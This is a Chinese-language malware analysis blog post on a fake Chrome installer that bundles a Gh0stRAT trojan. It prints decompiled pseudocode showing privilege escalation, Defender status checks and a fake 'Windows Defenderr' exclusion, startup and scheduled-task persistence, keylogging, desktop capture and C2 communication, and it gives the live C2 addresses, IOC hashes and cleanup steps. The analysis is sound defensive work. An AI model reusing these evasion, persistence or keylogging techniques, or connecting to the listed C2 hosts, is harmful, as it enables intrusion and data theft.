招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
背景
某天监视全流量发现办公网出现外连告警,经排查发现是某员工从网站chrome-web.com上下载了chrome浏览器安装包,该安装包运行后出现外连。简单查看该安装程序,发现打包了两个程序在内:一个是正常的chrome安装包(VT正常),一个是恶意的安装文件WindowsProgram.msi(VT报毒)。随后在逆向过程中,搜索一些字符串,如agmkis2、Shellex等,发现该样本归属Gh0stRAT家族。
行为收集
1.文件行为:
通过修改文件属性隐藏恶意可执行文件TrackerUI.sys和Phone.exe(Windows系统中,也有一个Phone.exe程序,用于将移动设备的数据同步到PC)。
这里通过修改系统设置显示“隐藏文件”是没用的,必须通过attrib命令可以解除隐藏。
2.网络行为:
该恶意程序和107.148.73.136与154.19.85.129进行通讯,C2主机依然存活(截至2024年7月19日)。
逆向分析
分析Phone.exe,恶意代码以压缩格式存储在其中,该程序在执行过程中逐步释放恶意代码。解压数据,将解压数据dump出来,发现是一个dll库,这里叫“a.dll”好了。
该dll库的DllMain函数调用另一个名为fuckyou的函数。
fuckyou函数内容如下,其中涉及敏感的行为有提权、查询Defender的运行情况、与域名"bbnhh.icu"进行连接通信、创建本地执行计划任务
int fuckyou()
{
int v0; // eax
HANDLE CurrentProcess; // esi
unsigned int v2; // kr00_4
unsigned int v3; // kr04_4
int v4; // ecx
char v5; // al
unsigned int v6; // edx
char *v7; // edi
unsigned int v9; // kr08_4
unsigned int v10; // kr0C_4
HANDLE Toolhelp32Snapshot; // esi
int v12; // eax
int v13; // eax
SC_HANDLE v14; // eax
SC_HANDLE v15; // edi
unsigned __int8 v16; // al
SC_HANDLE v17; // esi
int v19; // [esp+14h] [ebp-1DCh] BYREF
char v20[48]; // [esp+18h] [ebp-1D8h] BYREF
__int128 pSecurityDescriptor[4]; // [esp+48h] [ebp-1A8h] BYREF
PROCESSENTRY32 pe; // [esp+88h] [ebp-168h] BYREF
char pcbBytesNeeded[6]; // [esp+1B0h] [ebp-40h] BYREF
char v24; // [esp+1B7h] [ebp-39h] BYREF
char Src[52]; // [esp+1B8h] [ebp-38h] BYREF
sub_10001330();
qword_100296B0 = sub_100010F0();
qword_100296A8 = sub_10001110();
dword_100296A0 = (int (__stdcall *)(_DWORD))sub_10001820(qword_100296B0);
dword_100296A0(dword_100296E0);
v0 = dword_100296A0(dword_100296E4);
strcpy(pcbBytesNeeded, "send");
strcpy(v20, "htons");
DWORD1(pSecurityDescriptor[0]) = v0;
dword_1002969C = v0;
*((_QWORD *)&pSecurityDescriptor[0] + 1) = 0x7463656E6E6F63i64;
dword_10029698 = sub_10001820(v0);
dword_10029694 = sub_10001820(DWORD1(pSecurityDescriptor[0]));
dword_1002958C = sub_10001820(DWORD1(pSecurityDescriptor[0]));
dword_10029484 = sub_10001820(DWORD1(pSecurityDescriptor[0]));
CurrentProcess = GetCurrentProcess();
InitializeSecurityDescriptor((char *)pSecurityDescriptor + 8, 1u);
SetSecurityDescriptorDacl((char *)pSecurityDescriptor + 8, 1, 0, 0);
SetSecurityInfo(CurrentProcess, SE_KERNEL_OBJECT, 4u, 0, 0, 0, 0);
strcpy(pcbBytesNeeded, "YTERE");
DWORD1(pSecurityDescriptor[0]) = 3224115;
v2 = strlen(pcbBytesNeeded);
if ( v2 != -1 )
memmove(&unk_10027AA8, pcbBytesNeeded, v2 + 1);
v3 = strlen((const char *)pSecurityDescriptor + 4);
if ( v3 != -1 )
memmove(&unk_10027AD5, (char *)pSecurityDescriptor + 4, v3 + 1);
v4 = 0;
strcpy(pcbBytesNeeded, "/d4/");
strcpy((char *)pSecurityDescriptor + 8, "107.148.73.136");
do
{
v5 = pcbBytesNeeded[v4++];
Src[v4 - 1] = v5;
}
while ( v5 );
v6 = strlen((const char *)pSecurityDescriptor + 8) + 1;
v7 = &v24;
while ( *++v7 )
;
qmemcpy(v7, (char *)pSecurityDescriptor + 8, v6);
v9 = strlen(Src);
if ( v9 != -1 )
memmove(&unk_10027AF9, Src, v9 + 1);
WORD2(pSecurityDescriptor[0]) = 111;
v10 = strlen((const char *)pSecurityDescriptor + 4);
if ( v10 != -1 )
memmove(&unk_10027B4D, (char *)pSecurityDescriptor + 4, v10 + 1);
strcpy((char *)pSecurityDescriptor + 8, "\\.\pipe\WF3ss22NHFsnBgfsHDF6");
hObject = CreateNamedPipeA((LPCSTR)pSecurityDescriptor + 8, 3u, 0, 1u, 0, 0, 0, 0);//创建一个双向命名管道
if ( hObject == (HANDLE)-1 )
ExitProcess(1u);
sub_10002080(); //进程提权,获取"SeDebugPrivilege"权限
ConvertSidToStringSidA(Sid, &StringSid);
v19 = 3159603;
strcpy(&v20[8], "ZhuDongFangYu.exe");
pe.dwSize = 296;
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
if ( Process32First(Toolhelp32Snapshot, &pe) && Process32Next(Toolhelp32Snapshot, &pe) )
{
do
{
v12 = strcmp(pe.szExeFile, (const char *)&v19);
if ( v12 )
v12 = v12 < 0 ? -1 : 1;
if ( !v12 )
break;
v13 = strcmp(pe.szExeFile, &v20[8]); //寻找是否有进程名为"ZhuDongFangYu.exe"的进程
if ( v13 )
v13 = v13 < 0 ? -1 : 1;
}
while ( v13 && Process32Next(Toolhelp32Snapshot, &pe) );
}
CloseHandle(Toolhelp32Snapshot);
v14 = OpenSCManagerA(0, 0, 4u);
v15 = v14;
if ( v14 )
{
v17 = OpenServiceA(v14, "WinDefend", 4u);
if ( v17 )
{
if ( QueryServiceStatusEx( //获取Windows defender的服务信息
v17,
SC_STATUS_PROCESS_INFO,
(LPBYTE)pSecurityDescriptor + 8,
0x24u,
(LPDWORD)pcbBytesNeeded) )
{
BYTE4(pSecurityDescriptor[0]) = HIDWORD(pSecurityDescriptor[0]) == 4;
CloseServiceHandle(v17);
CloseServiceHandle(v15);
v16 = BYTE4(pSecurityDescriptor[0]);
}
else
{
CloseServiceHandle(v17);
CloseServiceHandle(v15);
v16 = 0;
}
}
else
{
CloseServiceHandle(v15);
v16 = 0;
}
}
else
{
v16 = 0;
}
dword_10027B70 = v16;
dword_10027B6C = sub_10001D40();
if ( !dword_10027B6C ) //Defender在防护中
sub_10002440(); //向Defender添加排除项(即信任区)
sub_10002320();
return 0;
}
与域名"bbnhh.icu"(DNS解析为154.19.85.129)进行连接通信,使用http协议。
与域名"bbnhh.icu"数据通信使用的加密方式如下:
在C:Program Files目录下创建“Windows Defenderr”目录(比Windows Defender的所在目录多了一个字符“r”),并添加为Windows Defender的信任区。
将恶意进程本身的映像文件设置为隐藏状态和操作系统使用其中的一部分或独占使用的文件或目录。
创建本地执行计划任务,定时执行该恶意程序。
Shellex函数如下:
int __cdecl Shellex(char a1)
{
v1 = operator new(2121);
qmemcpy((void *)v1, &a1, 0x849u);
lstrcpyA(a10714873136, (LPCSTR)v1); //'107.148.73.136'
lstrcpyA(a87df223265Cyou, (LPCSTR)(v1 + 300)); // 域名“87df223265.cyou”
lstrcpyA(aDefault, (LPCSTR)(v1 + 608));
lstrcpyA(a10, (LPCSTR)(v1 + 658));
lstrcpyA(ServiceName, (LPCSTR)(v1 + 690));
lstrcpyA(byte_101370A6, (LPCSTR)(v1 + 790));
lstrcpyA(byte_10137126, (LPCSTR)(v1 + 918));
lstrcpyA(byte_10137226, (LPCSTR)(v1 + 1174));
lstrcpyA(byte_10137338, (LPCSTR)(v1 + 1448));
lstrcpyA(byte_1013739C, (LPCSTR)(v1 + 1548));
lstrcpyA(byte_101373D8, (LPCSTR)(v1 + 1608));
dword_10136FE8 = *(_DWORD *)(v1 + 600);
dword_10136FEC = *(_DWORD *)(v1 + 604);
dword_10137328 = *(_DWORD *)(v1 + 1432);
dword_1013732C = *(_DWORD *)(v1 + 1436);
dword_10137330 = *(_DWORD *)(v1 + 1440);
dword_10137334 = *(_DWORD *)(v1 + 1444);
word_101373CE = *(_WORD *)(v1 + 1598);
LOWORD(dword_101373D0) = *(_WORD *)(v1 + 1600);
strcpy(ModuleName, "USER32.dll");
strcpy(ProcName, "PostThreadMessageA");
v2 = (void (__stdcall *)(DWORD, _DWORD, _DWORD, _DWORD))sub_1001ABD0(ModuleName, ProcName);
strcpy(v27, "GetInputState");
v3 = (void (*)(void))sub_1001ABD0(ModuleName, v27);
strcpy(v25, "GetMessageA");
v4 = (void (__stdcall *)(char *, _DWORD, _DWORD, _DWORD))sub_1001ABD0(ModuleName, v25);
strcpy(v18, "KERNEL32.dll");
strcpy(v34, "ExpandEnvironmentStringsA");
v37 = (void (__stdcall *)(CHAR *, char *, int))sub_1001ABD0(v18, v34);
strcpy(v26, "ADVAPI32.dll");
strcpy(v35, "StartServiceCtrlDispatcherA");
v16[0] = sub_1001ABD0(v26, v35);
strcpy(v22, "SHELL32.dll");
strcpy(v33, "SHGetSpecialFolderPathA");
v36 = (int (__stdcall *)(_DWORD, char *, int, _DWORD))sub_1001ABD0(v22, v33);
strcpy(v31, "GetFileAttributesA");
v19[0] = sub_1001ABD0(v18, v31);
strcpy(v29, "DefineDosDeviceA");
v39 = (void (__cdecl *)(int, _DWORD *, char *))sub_1001ABD0(v18, v29);
strcpy(v23, "CopyFileA");
v40 = sub_1001ABD0(v18, v23);
strcpy(v28, "ShellExecuteA");
*(_DWORD *)Format = sub_1001ABD0(v22, v28);
strcpy(v30, "SetFileAttributesA");
v38 = sub_1001ABD0(v18, v30);
CurrentThreadId = GetCurrentThreadId();
v2(CurrentThreadId, 0, 0, 0);
v3();
v4(v49, 0, 0, 0);
InitializeSecurityDescriptor(pSecurityDescriptor, 1u);
SetSecurityDescriptorDacl(pSecurityDescriptor, 1, 0, 0);
MutexAttributes.bInheritHandle = 0;
MutexAttributes.lpSecurityDescriptor = pSecurityDescriptor;
MutexAttributes.nLength = 12;
CommandLineA = GetCommandLineA();
memset(Name, 0, sizeof(Name));
v55 = 0;
v56 = 0;
strcat(Name, aGlobal);
strcat(Name, CommandLineA);
hObject = CreateMutexA(&MutexAttributes, 0, Name);
if ( !hObject || GetLastError() != 183 )
{
v37(byte_10137338, v57, 260);
strcpy(byte_10137338, v57);
if ( *((_BYTE *)&dword_10137334 + strlen(byte_10137338) + 3) == 92 )
*((_BYTE *)&dword_10137334 + strlen(byte_10137338) + 3) = 0;
if ( dword_10137334 )
{
word_1014421C = 0;
if ( !sub_1001A0A0(String, 50) )
sub_1001D200(ServiceName);
while ( 1 )
{
Sleep(0x32u);
sub_1001DD40(); //间隔50s获取一次桌面信息,并尝试连接C2
}
}
if ( dword_1013732C )
{
word_1014421C = 1;
if ( strstr(CommandLineA, aAcsi) )
{
while ( 1 )
{
Sleep(0x32u);
sub_1001DD40(); //间隔50s获取一次桌面信息,并尝试连接C2
}
}
if ( sub_1001ECA0(ServiceName) )
{
v21[0] = (int)ServiceName;
v21[1] = (int)sub_1001CDE0;
v21[2] = 0;
v21[3] = 0;
if ( !((int (__stdcall *)(int *))v16[0])(v21) )
{
v7 = OpenSCManagerA(0, 0, 0x20000u);
v8 = v7;
if ( v7 )
{
v9 = OpenServiceA(v7, ServiceName, 0x10u);
v10 = v9;
if ( v9 )
{
started = StartServiceA(v9, 0, 0); //启动C:\ProgramData\Microsoft Drive\Mark.sys
v15 = v10;
if ( started )
{
CloseServiceHandle(v15);
((void (__cdecl *)(SC_HANDLE))CloseServiceHandle)(v8);
sub_1001D810();
ExitProcess(0);
}
CloseServiceHandle(v15);
}
CloseServiceHandle(v8);
}
}
while ( 1 )
{
Sleep(0x32u);
sub_1001DD40();
}
}
Buffer = 0;
memset(v44, 0, sizeof(v44));
v45 = 0;
v46 = 0;
strcpy(Format, "%s\%s");
sprintf(&Buffer, Format, byte_10137338, byte_1013739C);
sub_1001D200(ServiceName);
sub_1001ECF0(&Buffer, (int)ServiceName, (int)byte_101370A6);
sub_1001D810();
ExitProcess(0);
}
if ( dword_10137330 )
{
word_1014421C = 2;
if ( !sub_1001A0A0(String, 50) )
sub_1001D200(ServiceName); //创建"C:\ProgramData\Microsoft Drive\Mark.sys"文件
memset(v51, 0, sizeof(v51));
v52 = 0;
v53 = 0;
if ( v36(0, v51, 24, 0) )
{
Buffer = 0;
memset(v44, 0, sizeof(v44));
v45 = 0;
v46 = 0;
strcpy((char *)v16, "%s\%s");
sprintf(&Buffer, (const char *const)v16, v51, byte_1013739C);
if ( ((int (__stdcall *)(char *))v19[0])(&Buffer) == -1 )
{
GetModuleFileNameA(0, Filename, 0x104u);
strcpy(v24, "\??\%s\%s");
sprintf(&Buffer, v24, v51, byte_1013739C);
strcpy((char *)v19, "agmkis2");
DefineDosDeviceA(1, v19, &Buffer); //创建符号链接
Sleep(0x64u);
strcpy(ModuleName, "\\.\agmkis2");
((void (__cdecl *)(char *, CHAR *, _DWORD))ExpandEnvironmentStringsA)(v58, ModuleName, 0);
(*(void (__cdecl **)(char *, int))&v35[12])(v50, 2);
sub_1001D5B0(&v18[4]);
sprintf((char *const)&MutexAttributes, v13, v48, byte_1013739C);
v14(0, Operation, &MutexAttributes, 0, v48, 10);
sub_1001D810();
ExitProcess(0);
}
while ( 1 )
{
Sleep(0x32u);
sub_1001DD40();
}
}
}
}
return 0;
}
创建并写入"C:ProgramDataMicrosoft DriveMark.sys"和"C:ProgramDataMicrosoft Drivedrive.sys"文件,同时设置为隐藏文件。
间隔一段时间获取键盘输入并写入到"C:ProgramDataMicrosoft Drivedrive.sys"文件中。另外,"C:ProgramDataMicrosoft DriveMark.sys"文件为驱动程序,随后通过StartServiceA函数启动。
将安装时间保存在 HKLMSYSTEMSelect 键的 MarkTime 值中,将当前运行的恶意软件复制到启动文件夹(C:Documents and SettingsAll UsersStart MenuProgramsStartup)。此过程使用 DefineDosDeviceA函数为目标路径创建符号链接,并在复制过程中使用它。字符串“\.agmkis2”用作符号链接的名称。
与'107.148.73.136'通信的数据解密算法如下:
int __cdecl sub_100045D0(int a1, int a2) { int result; // eax int i; // ecx
result = a1; for ( i = 0; i < a2; ++i ) *(_BYTE )(i + a1) = ((_BYTE *)(i + a1) + 4) ^ 3; return result; }
sub_1001F6B0处实现了一个远程命令控制终端。
通过OpenDesktop函数打开一个桌面对象,再通过SetThreadDesktop函数将线程与用户当前打开桌面关联,实现截屏。
HDESK __cdecl sub_10029F60(const CHAR *a1)
{
LibraryA = LoadLibraryA(aUser32Dll_0);
if ( a1 )
{
OpenDesktopA = (HDESK (__stdcall *)(LPCSTR, DWORD, BOOL, ACCESS_MASK))GetProcAddress(LibraryA, aOpendesktopa);
result = OpenDesktopA(a1, 0, 0, 511);
}
else
{
OpenInputDesktop = (HDESK (__stdcall *)(DWORD, BOOL, ACCESS_MASK))GetProcAddress(LibraryA, aOpeninputdeskt);
result = OpenInputDesktop(1, 0, 511);
}
v5 = result;
if ( result )
{
if ( sub_10029EB0(result) )
{
return (HDESK)1;
}
else
{
v6 = LoadLibraryA(aUser32Dll_0);
CloseDesktop = (BOOL (__stdcall *)(HDESK))GetProcAddress(v6, aClosedesktop);
CloseDesktop(v5);
return 0;
}
}
return result;
}
BOOL __cdecl sub_10029EB0(HDESK hObj)
{
LibraryA = LoadLibraryA(LibFileName);
GetCurrentThreadId = (DWORD (__stdcall *)())GetProcAddress(LibraryA, aGetcurrentthre);
v3 = LoadLibraryA(aUser32Dll_0);
GetThreadDesktop = (HDESK (__stdcall *)(DWORD))GetProcAddress(v3, aGetthreaddeskt);
v5 = GetCurrentThreadId();
v6 = GetThreadDesktop(v5);
result = GetUserObjectInformationA(hObj, 2, pvInfo, 0x100u, &nLengthNeeded);
if ( result )
{
result = SetThreadDesktop(hObj);
if ( result )
{
v8 = LoadLibraryA(aUser32Dll_0);
CloseDesktop = (BOOL (__stdcall *)(HDESK))GetProcAddress(v8, aClosedesktop);
CloseDesktop(v6);
return 1;
}
}
return result;
}
获取Windows账户登录界面的截图
IOC
FileName:Chrome-Setup.exe (受感染的安装程序)
-
MD5:e4c3ac83c30ddc1b214b1a2ea6a3136c -
SHA1:f1352748da9d521aea9e9c72ae13e0c43939541a -
SHA256:55f07e938dfde7b17c0d884909cecea384553884d404c4c5d3939a1e733b83be
FileName:WindowsProgram.msi (捆绑的恶意程序)
-
MD5:95930b374fd8d96b04410666fbb5fdf8 -
SHA1:11d99a6bb9816d6f3d547396437665629faf123e -
SHA256:3dbd346026bee91736383cd5a8f51032d51301c9c433bf9f188e83552ac21e64
FileName:Phone.exe (恶意)
-
MD5:509b1fedb84f66c56a694bfae8c6d1f9 -
SHA1:b752c78a9e2ba5538ac62dba156765816465ef02 -
SHA256:5918dc52486d0ea50f96deff62b4e17ce438633d166156194713cbd511ba98f3
清除建议
1.杀死名为Phone.exe的所有进程
2.删除以下文件和目录:
C:ProgramDataMicrosoft Drive
C:Program FilesWindows Defenderr
C:Program FilesWindows Crashpads
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):Chrome浏览器安装包中捆绑的Gh0stRAT